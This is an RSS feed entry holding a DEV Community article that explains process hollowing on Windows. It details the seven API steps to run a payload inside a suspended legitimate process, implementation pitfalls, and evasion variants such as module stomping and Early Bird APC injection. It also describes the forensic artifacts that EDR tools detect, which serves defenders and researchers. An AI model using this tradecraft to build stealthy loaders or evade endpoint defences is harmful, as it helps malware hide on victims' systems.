<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: nimesh nakum</title>
    <description>The latest articles on DEV Community by nimesh nakum (@redforge).</description>
    <link>https://dev.to/redforge</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3975089%2Fc9d2936b-3a0f-48bb-94ca-e3960e65ab15.png</url>
      <title>DEV Community: nimesh nakum</title>
      <link>https://dev.to/redforge</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/redforge"/>
    <language>en</language>
    <item>
      <title>Process Hollowing from First Principles — No Tools, Just Windows API</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Fri, 03 Jul 2026 04:25:44 +0000</pubDate>
      <link>https://dev.to/redforge/process-hollowing-from-first-principles-no-tools-just-windows-api-1l3c</link>
      <guid>https://dev.to/redforge/process-hollowing-from-first-principles-no-tools-just-windows-api-1l3c</guid>
      <description>&lt;p&gt;&lt;em&gt;How attackers gut a legitimate process before it runs a single instruction — and what that leaves behind&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If you describe process hollowing as "injecting code into a legitimate process," you've already misunderstood it. That framing is wrong in a way that matters operationally.&lt;/p&gt;

&lt;p&gt;You're not injecting into a running process. You're creating a new process in a suspended state, destroying the file-backed mapping of its legitimate image before any user-mode instruction has executed, replacing that memory with your payload, and then releasing the thread. The OS never learned that anything changed. The process name, PID ancestry, and integrity token all belong to the legitimate binary. The code executing is entirely yours.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows does not enforce consistency between identity, memory, and execution — and hollowing lives entirely in that gap.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's the philosophical core of the technique, and it's exactly why it has persisted as an offensive primitive for over a decade despite widespread defender awareness.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites: What You Need to Internalize First
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The PEB and ImageBaseAddress
&lt;/h3&gt;

&lt;p&gt;Every Windows process carries a &lt;strong&gt;Process Environment Block (PEB)&lt;/strong&gt; — a user-mode structure maintained by &lt;code&gt;ntdll&lt;/code&gt; that tracks the image base, loaded module list, loader state, and process parameters. On x64, &lt;code&gt;ImageBaseAddress&lt;/code&gt; lives at offset &lt;code&gt;0x10&lt;/code&gt; into the PEB.&lt;/p&gt;

&lt;p&gt;This is what the attacker reads to locate the legitimate image in the target's address space, and what they patch after writing the payload to maintain surface-level consistency.&lt;/p&gt;

&lt;p&gt;The PEB's &lt;code&gt;Ldr&lt;/code&gt; field — a pointer to &lt;code&gt;PEB_LDR_DATA&lt;/code&gt; — is equally important and frequently overlooked. It contains three doubly-linked lists (&lt;code&gt;InLoadOrderModuleList&lt;/code&gt;, &lt;code&gt;InMemoryOrderModuleList&lt;/code&gt;, &lt;code&gt;InInitializationOrderModuleList&lt;/code&gt;) that track every loaded module.&lt;/p&gt;

&lt;p&gt;At the point where hollowing executes — immediately after &lt;code&gt;CreateProcess&lt;/code&gt; returns — &lt;code&gt;Ldr&lt;/code&gt; is initialized but &lt;strong&gt;the loader lists are not yet populated with the main image's &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt;&lt;/strong&gt;. The loader hasn't run. The PEB already reflects an inconsistent state before the attacker touches anything: &lt;code&gt;ImageBaseAddress&lt;/code&gt; points to the mapped image, but no corresponding loader list entry exists for it.&lt;/p&gt;

&lt;p&gt;After hollowing, this compounds further. The image at &lt;code&gt;ImageBaseAddress&lt;/code&gt; no longer exists. A tool that walks the loader lists and resolves &lt;code&gt;ImageBaseAddress&lt;/code&gt; finds anonymous private memory with no file backing.&lt;/p&gt;

&lt;h3&gt;
  
  
  The VAD Tree: MEM_IMAGE vs MEM_PRIVATE
&lt;/h3&gt;

&lt;p&gt;The kernel manages each process's virtual address space through the &lt;strong&gt;Virtual Address Descriptor (VAD) tree&lt;/strong&gt; — a red-black tree in &lt;code&gt;EPROCESS&lt;/code&gt; where each node describes a virtual memory region. The VAD node's type field is the critical distinction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;VadImageMap&lt;/code&gt; → &lt;strong&gt;file-backed image mappings&lt;/strong&gt; → &lt;code&gt;MEM_IMAGE&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;VadNone&lt;/code&gt; / private committed → &lt;strong&gt;anonymous allocations&lt;/strong&gt; → &lt;code&gt;MEM_PRIVATE&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Legitimate PE loading always produces &lt;code&gt;MEM_IMAGE&lt;/code&gt; regions. The kernel tracks the file reference through a &lt;code&gt;CONTROL_AREA&lt;/code&gt; structure linked to the VAD node's &lt;code&gt;Subsection&lt;/code&gt; — this is what allows &lt;code&gt;GetMappedFileName&lt;/code&gt; to return a file path and what allows scanners to compare the in-memory image against the on-disk version.&lt;/p&gt;

&lt;p&gt;When you call &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; and then &lt;code&gt;VirtualAllocEx&lt;/code&gt;, you destroy that file-backed region and replace it with anonymous private memory. The VAD tree shows a committed private region at the executable's former base — no file path, no &lt;code&gt;CONTROL_AREA&lt;/code&gt;, no disk backing. &lt;strong&gt;This is the primary forensic artifact hollowing leaves behind, and it's structural.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The PE Structure and the Section Mapping Problem
&lt;/h3&gt;

&lt;p&gt;The PE file on disk is not a direct memory image. Data is packed using file-alignment (typically 512 bytes), referenced by &lt;code&gt;PointerToRawData&lt;/code&gt;. In memory, sections are mapped to their &lt;code&gt;VirtualAddress&lt;/code&gt; relative to the image base, aligned to the allocation granularity (typically 4096 bytes). These are different numbers.&lt;/p&gt;

&lt;p&gt;Writing payload sections at file offsets rather than virtual offsets is the single most common failure mode in beginner hollowing implementations. The result is an immediate access violation at thread resume. Every section must be written at &lt;code&gt;ImageBase + SectionHeader.VirtualAddress&lt;/code&gt;, not &lt;code&gt;ImageBase + SectionHeader.PointerToRawData&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hollowing vs. Classic Process Injection
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Classic Process Injection&lt;/th&gt;
&lt;th&gt;Process Hollowing&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Target state&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Already running process&lt;/td&gt;
&lt;td&gt;Newly created, suspended process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Core operation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Allocate + write + create remote thread&lt;/td&gt;
&lt;td&gt;Unmap image + write payload + modify thread context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Memory type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;MEM_PRIVATE&lt;/code&gt; in a live process&lt;/td&gt;
&lt;td&gt;Replaces &lt;code&gt;MEM_IMAGE&lt;/code&gt; with &lt;code&gt;MEM_PRIVATE&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Key APIs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;OpenProcess&lt;/code&gt;, &lt;code&gt;VirtualAllocEx&lt;/code&gt;, &lt;code&gt;WriteProcessMemory&lt;/code&gt;, &lt;code&gt;CreateRemoteThread&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CreateProcess&lt;/code&gt; (suspended), &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;, &lt;code&gt;SetThreadContext&lt;/code&gt;, &lt;code&gt;ResumeThread&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EDR surface&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Remote thread creation — high signal&lt;/td&gt;
&lt;td&gt;VAD mutations and memory-type transitions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The Seven Steps: Mechanism and Internals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — CreateProcess with CREATE_SUSPENDED
&lt;/h3&gt;

&lt;p&gt;The attacker calls &lt;code&gt;CreateProcessW&lt;/code&gt; targeting a legitimate, signed system binary — &lt;code&gt;svchost.exe&lt;/code&gt;, &lt;code&gt;RuntimeBroker.exe&lt;/code&gt;, &lt;code&gt;notepad.exe&lt;/code&gt;. The target choice isn't cosmetic. The goal is to inherit the binary's reputation, token, and module load visibility.&lt;/p&gt;

&lt;p&gt;Internally, &lt;code&gt;CreateProcessW&lt;/code&gt; transitions to &lt;code&gt;NtCreateUserProcess&lt;/code&gt;. The kernel executes in precise order:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Object creation:&lt;/strong&gt; &lt;code&gt;EPROCESS&lt;/code&gt; and &lt;code&gt;ETHREAD&lt;/code&gt; (main thread) are allocated. Handle table initialized.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Section creation:&lt;/strong&gt; &lt;code&gt;MmCreateSection&lt;/code&gt; is called on the executable file, producing a section object backed by the file. The section references a &lt;code&gt;CONTROL_AREA&lt;/code&gt;, which references the file object.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Address space setup:&lt;/strong&gt; &lt;code&gt;MmMapViewOfSection&lt;/code&gt; maps the image into the new process. The resulting VAD node is &lt;code&gt;VadImageMap&lt;/code&gt;. Any address within this range returns &lt;code&gt;MEM_IMAGE&lt;/code&gt;. The &lt;code&gt;ControlArea&lt;/code&gt; field in the node links back to the original file — this is what makes the image path resolvable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PEB initialization:&lt;/strong&gt; &lt;code&gt;MmCreatePeb&lt;/code&gt; sets &lt;code&gt;ImageBaseAddress&lt;/code&gt;, &lt;code&gt;ProcessParameters&lt;/code&gt;, and the &lt;code&gt;Ldr&lt;/code&gt; pointer. The loader lists are initialized but not populated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thread setup:&lt;/strong&gt; The initial thread's trap frame is prepared. On x64, the thread begins at &lt;code&gt;RtlUserThreadStart&lt;/code&gt; in &lt;code&gt;ntdll&lt;/code&gt; — not at &lt;code&gt;AddressOfEntryPoint&lt;/code&gt;. This distinction matters critically in Step 5.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thread state:&lt;/strong&gt; Suspend count = 1. The thread waits.&lt;/p&gt;

&lt;p&gt;At this point: valid &lt;code&gt;EPROCESS&lt;/code&gt;, valid PEB, legitimate &lt;code&gt;MEM_IMAGE&lt;/code&gt; covering the executable, a thread that has never executed a single instruction in user mode. No TLS callbacks. No &lt;code&gt;DllMain&lt;/code&gt;. No EDR hooks initialized in this process yet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is the cleanest interception window in the Windows process lifecycle.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Reading the PEB to Find ImageBaseAddress
&lt;/h3&gt;

&lt;p&gt;The attacker calls &lt;code&gt;NtQueryInformationProcess&lt;/code&gt; with &lt;code&gt;ProcessBasicInformation&lt;/code&gt;, returning a &lt;code&gt;PROCESS_BASIC_INFORMATION&lt;/code&gt; structure containing &lt;code&gt;PebBaseAddress&lt;/code&gt; — the PEB address in the &lt;em&gt;target's&lt;/em&gt; virtual address space.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ReadProcessMemory&lt;/code&gt; pulls the PEB from the target. At offset &lt;code&gt;0x10&lt;/code&gt; on x64 (confirmed against the &lt;code&gt;_PEB&lt;/code&gt; symbol in the public PDB) lies &lt;code&gt;ImageBaseAddress&lt;/code&gt; — the base of the &lt;code&gt;MEM_IMAGE&lt;/code&gt; region that's about to be destroyed.&lt;/p&gt;

&lt;p&gt;Guessing the base using the PE's preferred &lt;code&gt;ImageBase&lt;/code&gt; is an option only for non-ASLR binaries. For everything else, the PEB read is the only reliable path.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — NtUnmapViewOfSection: The Actual Hollowing
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;NtUnmapViewOfSection(processHandle, ImageBaseAddress)&lt;/code&gt; removes the section mapping for the legitimate executable from the target's address space.&lt;/p&gt;

&lt;p&gt;The kernel walks the target's VAD tree, finds the &lt;code&gt;VadImageMap&lt;/code&gt; node at &lt;code&gt;ImageBaseAddress&lt;/code&gt;, and removes it. The &lt;code&gt;CONTROL_AREA&lt;/code&gt; reference count decrements. Physical pages are dereferenced. The address range becomes &lt;code&gt;MEM_FREE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The forensic transition is precise:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Before the call: &lt;code&gt;MEM_IMAGE&lt;/code&gt;, file-backed, path-resolvable&lt;/li&gt;
&lt;li&gt;After the call: &lt;code&gt;MEM_FREE&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;After Step 4's &lt;code&gt;VirtualAllocEx&lt;/code&gt;: &lt;code&gt;MEM_PRIVATE&lt;/code&gt; — anonymous, no &lt;code&gt;CONTROL_AREA&lt;/code&gt;, no path&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;This is where hollowing becomes visible to any scanner that checks the VAD.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Failure mode:&lt;/em&gt; &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; if the handle lacks &lt;code&gt;PROCESS_VM_OPERATION&lt;/code&gt; access, or if the region was mapped with incompatible sharing flags (rare for a freshly suspended process, but possible in constrained environments).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — VirtualAllocEx and WriteProcessMemory
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;VirtualAllocEx&lt;/code&gt; at the payload's preferred &lt;code&gt;ImageBase&lt;/code&gt; with &lt;code&gt;MEM_COMMIT | MEM_RESERVE&lt;/code&gt; and &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;. A new &lt;code&gt;VadNone&lt;/code&gt; node is inserted — anonymous private memory. &lt;code&gt;VirtualQuery&lt;/code&gt; on this range now returns &lt;code&gt;MEM_PRIVATE&lt;/code&gt;. The transformation is complete.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt; loads the payload in two passes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Headers first.&lt;/strong&gt; Write the DOS header, NT headers, and section headers at the base. Some payloads reference their own headers at runtime — skipping this breaks them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sections at virtual offsets.&lt;/strong&gt; For each section: write raw data to &lt;code&gt;AllocatedBase + SectionHeader.VirtualAddress&lt;/code&gt;. Sections smaller than &lt;code&gt;VirtualSize&lt;/code&gt; leave zeroed padding — expected behavior. Sections that exceed &lt;code&gt;SizeOfRawData&lt;/code&gt; boundaries require boundary checking to avoid clobbering adjacent sections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relocation handling&lt;/strong&gt; is where most implementations fail silently. If &lt;code&gt;VirtualAllocEx&lt;/code&gt; returns a different address than the payload's preferred &lt;code&gt;ImageBase&lt;/code&gt; — because that range is unavailable — every absolute address in the payload is wrong by &lt;code&gt;ActualBase - PreferredBase&lt;/code&gt;. The &lt;code&gt;.reloc&lt;/code&gt; section exists precisely for this: walk the Base Relocation Table, compute the delta, patch each referenced address before resuming.&lt;/p&gt;

&lt;p&gt;If the payload was compiled with &lt;code&gt;/FIXED&lt;/code&gt; or had its relocation table stripped by the packer, and the base differs, the process crashes on the first absolute reference. This is not an edge case — it's one of the most common failure modes in real-world hollowing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — SetThreadContext: Redirecting Execution
&lt;/h3&gt;

&lt;p&gt;The suspended thread's instruction pointer still targets &lt;code&gt;RtlUserThreadStart&lt;/code&gt; in ntdll. The legitimate entry point it was about to call no longer exists.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GetThreadContext&lt;/code&gt; with &lt;code&gt;CONTEXT_FULL&lt;/code&gt; retrieves the complete register snapshot from the thread's &lt;code&gt;TrapFrame&lt;/code&gt; and &lt;code&gt;KTHREAD-&amp;gt;KernelStack&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here's the nuance most write-ups get wrong.&lt;/strong&gt; On x64, the initial &lt;code&gt;Rip&lt;/code&gt; is &lt;code&gt;RtlUserThreadStart&lt;/code&gt;, not &lt;code&gt;AddressOfEntryPoint&lt;/code&gt;. Its signature: &lt;code&gt;VOID RtlUserThreadStart(PUSER_THREAD_START_ROUTINE Function, PVOID Parameter)&lt;/code&gt;. The entry point is passed in &lt;code&gt;RCX&lt;/code&gt;, the parameter in &lt;code&gt;RDX&lt;/code&gt;. The attacker patches &lt;strong&gt;RCX&lt;/strong&gt; to &lt;code&gt;PayloadBase + AddressOfEntryPoint&lt;/code&gt; — not &lt;code&gt;Rip&lt;/code&gt; directly.&lt;/p&gt;

&lt;p&gt;Setting &lt;code&gt;Rip&lt;/code&gt; to the entry point bypasses &lt;code&gt;RtlUserThreadStart&lt;/code&gt; entirely. No SEH frame setup. No stack alignment initialization. The payload crashes inside the CRT before running a single line of its own code.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SetThreadContext&lt;/code&gt; applies the modified context. The kernel updates the thread's trap frame. When the thread resumes, &lt;code&gt;RtlUserThreadStart&lt;/code&gt; runs normally — calling the payload's entry point instead of the original binary's.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6 — Patching PEB-&amp;gt;ImageBaseAddress
&lt;/h3&gt;

&lt;p&gt;The PEB still holds the &lt;code&gt;ImageBaseAddress&lt;/code&gt; of the original binary — a region that no longer exists. Any tool reading that field and calling &lt;code&gt;VirtualQuery&lt;/code&gt; on it finds &lt;code&gt;MEM_FREE&lt;/code&gt;. An obvious anomaly.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt; overwrites the 8 bytes at &lt;code&gt;PebBaseAddress + 0x10&lt;/code&gt; with the payload's actual load address. The process is now internally consistent at the PEB level.&lt;/p&gt;

&lt;p&gt;What this step does &lt;em&gt;not&lt;/em&gt; fix: the loader list inconsistency. No &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt; for the payload is ever inserted. The loader never ran. Module enumeration via the PEB lists returns an empty list — the payload executes in a process whose own loader structures don't acknowledge it exists.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7 — ResumeThread
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ResumeThread&lt;/code&gt; decrements the suspend count to zero. The scheduler picks up the thread. It resumes at &lt;code&gt;RtlUserThreadStart&lt;/code&gt;, which calls the patched &lt;code&gt;RCX&lt;/code&gt; — the payload's entry point. The payload runs inside a process that, from the OS's perspective, is entirely legitimate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The sequence is complete. The process has the right name, the right token, and the wrong code.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Broken Invariants: The Real Story
&lt;/h2&gt;

&lt;p&gt;Hollowing is best understood not as code injection, but as &lt;strong&gt;desynchronization between a process's identity, its memory, and its execution&lt;/strong&gt;. Three invariants Windows implicitly assumes are violated simultaneously.&lt;/p&gt;

&lt;h3&gt;
  
  
  Memory Invariant — MEM_IMAGE Must Have a Backing File
&lt;/h3&gt;

&lt;p&gt;When the kernel creates a &lt;code&gt;MEM_IMAGE&lt;/code&gt; region, it does so through a section object tied to a file. The &lt;code&gt;CONTROL_AREA&lt;/code&gt; in the VAD node maintains that reference — enabling &lt;code&gt;VirtualQuery&lt;/code&gt; to return &lt;code&gt;MEM_IMAGE&lt;/code&gt;, &lt;code&gt;GetMappedFileName&lt;/code&gt; to return a path, and scanners to compare the live image against disk.&lt;/p&gt;

&lt;p&gt;After hollowing: the region at the executable's base is &lt;code&gt;MEM_PRIVATE&lt;/code&gt;. No &lt;code&gt;CONTROL_AREA&lt;/code&gt;. No file reference. No resolvable path. This is the invariant module stomping specifically addresses by reusing an already-mapped DLL's &lt;code&gt;MEM_IMAGE&lt;/code&gt; region — keeping the file backing while replacing the content.&lt;/p&gt;

&lt;h3&gt;
  
  
  Loader Invariant — The LDR Lists Must Reflect Loaded Modules
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;PEB-&amp;gt;Ldr&lt;/code&gt; maintains three circular doubly-linked lists that are the authoritative source for &lt;code&gt;EnumProcessModules&lt;/code&gt;, &lt;code&gt;GetModuleHandle&lt;/code&gt;, and every debugger. Under normal operation, the main executable has a corresponding &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt; linking it to the file on disk, its image base, and its name.&lt;/p&gt;

&lt;p&gt;After hollowing: no &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt; for the payload exists. The loader never ran to create one. The payload's code executes in a process whose own loader structures don't acknowledge it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Execution Invariant — Code Must Execute From a Named Module
&lt;/h3&gt;

&lt;p&gt;On a healthy Windows system, every return address on every thread's call stack resolves to a named module with a resolvable path. Frames in anonymous private memory are a high-confidence anomaly signal.&lt;/p&gt;

&lt;p&gt;After hollowing: the thread executes entirely within &lt;code&gt;MEM_PRIVATE&lt;/code&gt;. Every frame in the call stack is an orphaned frame — no module name, no file path, no loader entry.&lt;/p&gt;

&lt;p&gt;These three violations — memory type mismatch, absent loader entry, execution in untracked memory — are the structural fingerprint of hollowing. &lt;strong&gt;Patching &lt;code&gt;PEB-&amp;gt;ImageBaseAddress&lt;/code&gt; in Step 6 fixes none of them.&lt;/strong&gt; It's cosmetic. The invariant violations persist underneath.&lt;/p&gt;

&lt;h2&gt;
  
  
  What EDR Actually Sees
&lt;/h2&gt;

&lt;p&gt;Knowing what's visible is operationally relevant — because it determines exactly what evasion is necessary.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Behavioral Sequence, Not Individual APIs
&lt;/h3&gt;

&lt;p&gt;No single API in the hollowing chain is inherently malicious. &lt;code&gt;CreateProcess&lt;/code&gt;, &lt;code&gt;NtQueryInformationProcess&lt;/code&gt;, &lt;code&gt;ReadProcessMemory&lt;/code&gt;, &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;, &lt;code&gt;VirtualAllocEx&lt;/code&gt;, &lt;code&gt;WriteProcessMemory&lt;/code&gt;, &lt;code&gt;SetThreadContext&lt;/code&gt;, &lt;code&gt;ResumeThread&lt;/code&gt; — each has legitimate uses in isolation.&lt;/p&gt;

&lt;p&gt;What behavioral engines watch is the &lt;strong&gt;sequence and temporal proximity&lt;/strong&gt;: a process creates a suspended child, immediately queries its PEB, reads from its address space, unmaps a region at the address extracted from that PEB, allocates at the same address, writes a PE-sized payload, modifies the thread's &lt;code&gt;RCX&lt;/code&gt; register, and resumes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This sequence is the signature. Everything else is optional.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That behavioral chain, against a single target handle within a narrow time window, is near-unambiguous — even without a single malicious API call in isolation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Memory State Transitions
&lt;/h3&gt;

&lt;p&gt;ETW providers &lt;code&gt;Microsoft-Windows-Kernel-Memory&lt;/code&gt; and &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; emit events for virtual memory operations. An EDR consuming these watches a specific VAD mutation sequence: &lt;code&gt;MEM_IMAGE&lt;/code&gt; at the image base disappears, immediately replaced by &lt;code&gt;MEM_PRIVATE&lt;/code&gt; at the same address, followed by cross-process writes from the parent into that range.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;MEM_IMAGE → MEM_FREE → MEM_PRIVATE&lt;/code&gt; at a freshly created process's image base has no legitimate explanation.&lt;/p&gt;

&lt;h3&gt;
  
  
  VAD Anomalies
&lt;/h3&gt;

&lt;p&gt;Kernel-mode sensors with direct &lt;code&gt;EPROCESS&lt;/code&gt; access query the VAD tree directly — bypassing all user-mode evasion. They check the VAD node at &lt;code&gt;PEB-&amp;gt;ImageBaseAddress&lt;/code&gt;: &lt;code&gt;VadImageMap&lt;/code&gt; or &lt;code&gt;VadNone&lt;/code&gt;? If it's private, and the thread's &lt;code&gt;RIP&lt;/code&gt; falls within that range, the process is hollowed. This check is entirely kernel-side, invisible to the attacker's user-mode code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Thread Anomalies
&lt;/h3&gt;

&lt;p&gt;Some EDRs snapshot the expected &lt;code&gt;RCX&lt;/code&gt; value — derived from &lt;code&gt;AddressOfEntryPoint + ImageBase&lt;/code&gt; via &lt;code&gt;NtQueryInformationProcess&lt;/code&gt; — at process creation and compare it against the actual thread context at &lt;code&gt;ResumeThread&lt;/code&gt;. A mismatch pointing into a &lt;code&gt;MEM_PRIVATE&lt;/code&gt; range is flagged immediately.&lt;/p&gt;

&lt;p&gt;Once the thread is running, periodic kernel-side stack sampling finds frames in &lt;code&gt;MEM_PRIVATE&lt;/code&gt; with no resolvable module. Every such frame is a strong behavioral indicator independent of the creation-time signals.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Sysmon Telemetry Gap
&lt;/h3&gt;

&lt;p&gt;Default Sysmon configurations don't generate events for &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; or &lt;code&gt;NtWriteVirtualMemory&lt;/code&gt;. Not an oversight — these are high-volume operations. This gap is part of why hollowing remains viable against Sysmon-only detection stacks. The artifacts exist in kernel ETW and memory scanners, but log-based SIEM detections built on Sysmon alone miss the core VAD mutation entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Evasion Variants
&lt;/h2&gt;

&lt;h3&gt;
  
  
  RW → VirtualProtect → RX Instead of RWX
&lt;/h3&gt;

&lt;p&gt;Allocate &lt;code&gt;PAGE_READWRITE&lt;/code&gt;. Write all sections. Call &lt;code&gt;VirtualProtectEx&lt;/code&gt; to transition executable sections to &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt;. This removes the &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; region that most EDR behavioral rules aggressively target. The &lt;code&gt;MEM_PRIVATE&lt;/code&gt; anomaly remains — this doesn't address the core forensic artifact — but it eliminates the most over-signatured permission combination. One extra API call. Worth it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Module Stomping
&lt;/h3&gt;

&lt;p&gt;The direct evolutionary response to &lt;code&gt;MEM_PRIVATE&lt;/code&gt; detection. Force a legitimate DLL to load into the target process via a remote &lt;code&gt;LoadLibraryA&lt;/code&gt; or queued APC. This creates a real &lt;code&gt;MEM_IMAGE&lt;/code&gt; region with genuine file backing. Then overwrite that region with your payload via &lt;code&gt;WriteProcessMemory&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The VAD node stays &lt;code&gt;VadImageMap&lt;/code&gt;. &lt;code&gt;VirtualQuery&lt;/code&gt; returns &lt;code&gt;MEM_IMAGE&lt;/code&gt;. &lt;code&gt;GetMappedFileName&lt;/code&gt; returns the DLL's path. The code in that memory is yours. This defeats the primary forensic indicator — at the cost of a new one: the in-memory image no longer matches the file on disk, detectable by scanners that hash-compare live image regions against disk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Early Bird APC Injection
&lt;/h3&gt;

&lt;p&gt;Queue an APC to the suspended main thread before &lt;code&gt;ResumeThread&lt;/code&gt; instead of modifying the thread context. The APC executes when the thread first becomes alertable — before any EDR's &lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt; hooks initialize in the new process. Execution occurs entirely outside user-mode hook coverage. The memory-type artifacts remain, but the execution timeline shifts in a way that defeats hook-based behavioral engines.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure Modes in Practice
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Relocation failures.&lt;/strong&gt; If &lt;code&gt;VirtualAllocEx&lt;/code&gt; returns a different address than the payload's preferred &lt;code&gt;ImageBase&lt;/code&gt;, every absolute address is wrong by &lt;code&gt;ActualBase - PreferredBase&lt;/code&gt;. Without a relocation table — common with packed or stripped payloads — the process crashes on the first absolute reference. Fix: force the same base, or implement relocation table parsing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLS callbacks.&lt;/strong&gt; Host binaries with Thread Local Storage callbacks expect those to run during loader initialization. They won't. In most scenarios, targeting binaries without TLS (the majority of simple system binaries) avoids this entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Import resolution.&lt;/strong&gt; At the point &lt;code&gt;ResumeThread&lt;/code&gt; fires, only &lt;code&gt;ntdll.dll&lt;/code&gt; is guaranteed to be mapped in the new process — the kernel loads it first for every process. &lt;code&gt;kernel32.dll&lt;/code&gt; and &lt;code&gt;kernelbase.dll&lt;/code&gt; are not yet present. Payloads that assume a populated IAT crash immediately. Payloads that resolve their own imports (standard in staged loaders and shellcode) do not.&lt;/p&gt;

